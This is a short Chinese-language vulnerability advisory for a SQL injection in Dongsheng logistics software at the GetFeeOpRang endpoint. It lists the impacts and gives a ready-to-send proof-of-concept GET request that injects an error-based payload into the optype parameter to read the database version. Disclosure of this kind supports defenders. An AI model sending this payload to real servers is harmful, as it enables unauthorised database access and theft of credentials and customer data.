东胜物流软件 /MvcShipping/MsChFee/GetFeeOpRang SQL 注入漏洞

日期: 2025-11-07 | 影响软件: 东胜物流软件 | POC: 已公开

漏洞描述

利用此漏洞，攻击者不仅可以探测数据库类型和版本（如Microsoft SQL Server），还可能进一步获取数据库中的管理员账号密码、客户信息、物流数据等敏感信息。在数据库权限较高的情况下，攻击者甚至可能向服务器写入恶意后门程序，最终完全控制服务器 。公开信息显示，东胜物流软件存在多个SQL注入点，这表明其整体安全性存在隐患

PoC代码

GET /MvcShipping/MsChFee/GetFeeOpRang?limit=25&optype=modOtherRecvFeeManagement'+AND+1%3dCONVERT(int,(SELECT+%40%40version))--&page=1&start=0 HTTP/1.1

相关漏洞推荐